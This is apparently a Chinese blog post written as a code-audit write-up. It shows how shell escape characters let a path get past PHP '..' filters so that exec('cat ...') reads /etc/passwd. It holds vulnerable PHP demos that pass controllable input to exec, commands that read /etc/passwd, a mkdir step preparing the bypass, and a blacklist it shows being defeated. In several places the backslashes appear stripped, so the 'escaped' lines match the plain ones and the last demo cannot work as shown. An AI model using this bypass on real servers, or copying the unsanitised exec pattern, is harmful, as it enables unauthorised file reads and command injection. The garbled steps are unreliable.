Linux下巧用转义符来完成多阶攻击

  也是前段时间代码审计:

  先上代码:

    

if (!file_exists($fileName)){
            header("Content-type: text/html; charset=utf-8");
            echo "File not found!";
            exit;
        } else {
            $file = fopen($fileName, "r");
            Header("Content-type: application/octet-stream");
            Header("Accept-Ranges: bytes");
            Header("Accept-Length: ".filesize($fileName));
            Header("Content-Disposition: attachment; filename=" . $name);
            $content =  fread($file, filesize($fileName));
            fclose($file);
        }
        return $content;

  单单看代码很明显的任意文件下载,在代码的前面多了一行验证:

  

if(!FileHelper::validatePath($name)) {
            return "";
        }

  真的是断了我们的路啊,进去看看:

    

static function validatePath($file){
        $items = explode('..', $file);
        if(count($items) < 2) {
            return true;
        }
        return false;
    }

  分割..,目的很纯粹,害怕我们../读取到敏感数据

  看下他的$filename定义吧:

  

$fileName = "/temp/" . $name;

  说明就是只希望我们读取/temp/目录下的文件,他的文件上传,都传到了/temp目录下:

   这时候你想去读取/etc/passwd根本不现实...

   这时候我在思考,../真的无懈可击吗?

  打开我的终端:

    一步一步来:

  正常查看数据:      

cat /Users/Desktop/1.html

   查看/etc/passwd,跨目录读取需要使用../:

cat /Users/Desktop/../../../etc/passwd

    如果不让我们../怎么办?

  巧用linux转义符号 

  

.=.

  

echo '  

 输出单引号,重新读取:

  增加转义符,再次读取:

cat /Users/Desktop/../../../etc/passwd

成功读取到/etc/passwd,这里继续,立马投入到fopen函数中:

  说干就干:

  

<?php
$filename="/Users/Desktop/../../../etc/passwd";
$file = fopen($filename,"r");

  运行提示没找到文件: 

 

 而没有像终端一样执行了/etc/passwd,很显然,这里把/../认为是一个目录,而不是../:

后续发现,所有文件操作都把/../认定为目录:

    写个demo:

    

<?php
$file="/Users/phptest/../../../../../etc/passwd"; //这是可控点
if(!file_exists($file)){
    return "";
}else{
        $command = "cat $file";
        exec($command,$array);
        print_r($array);    
    }

    其中:

../../../../../etc/passwd =../../../../../etc/passwd

  跨目录5次

   这里需要创建目录,否则走不了else: 

  二阶的条件:前置条件:可以自定义创建目录或者文件:

mkdir -p /Users/phptest/.\./.\./.\./.\./.\./etc/passwd

    再次运行:

  

  因为调用了系统命令,最后../最后变成:

  

/Users/phptest/../../../../../etc/passwd

  从而导致了文件读取成功了.

  问题所在:php/java认为..是一个目录

  终端命令执行:./=../,最终获取/etc/passwd

  

  一次利用:rce使用字符串函数过滤,而不是使用escapeshellarg和escapeshellcmd

  demo:

    

<?php
$file="/Applications/temp/";//假设这是可控点
$arrw = array("`", "$", "-","..","||","|","&","&&");
foreach ($arrw as $key => $value) {
    if(strstr($file,$value)){
        echo "不允许使用..和其他特殊字符串";
        return "";
    }
}
$cmd = "cat $file";
var_dump($cmd);
exec($cmd,$array);
print_r($array);

  这里命令执行过滤了一些特殊字符串,尤其关照了../,如果你想读取,只能读取/temp/临时目录下的文件,不能跨目录,但是这里调用了系统命令:

  使用转义符绕过:

    修改demo:

    

<?php
$file="/Applications/temp/../../../../../etc/passwd";//假设这是可控点
$arrw = array("`", "$", "-","..","||","|","&","&&");
foreach ($arrw as $key => $value) {
    if(strstr($file,$value)){
        echo "不允许使用..和其他特殊字符串";
        return "";
    }
}
$cmd = "cat $file";
var_dump($cmd);
exec($cmd,$array);
print_r($array);

  定义我们的$file为/../:

  再次运行代码,读取到/etc/passwd

    

  这个特性还是有很多利用空间的,希望以后代码审计能遇到多阶攻击      

        

    

原文地址:https://www.cnblogs.com/piaomiaohongchen/p/14759239.html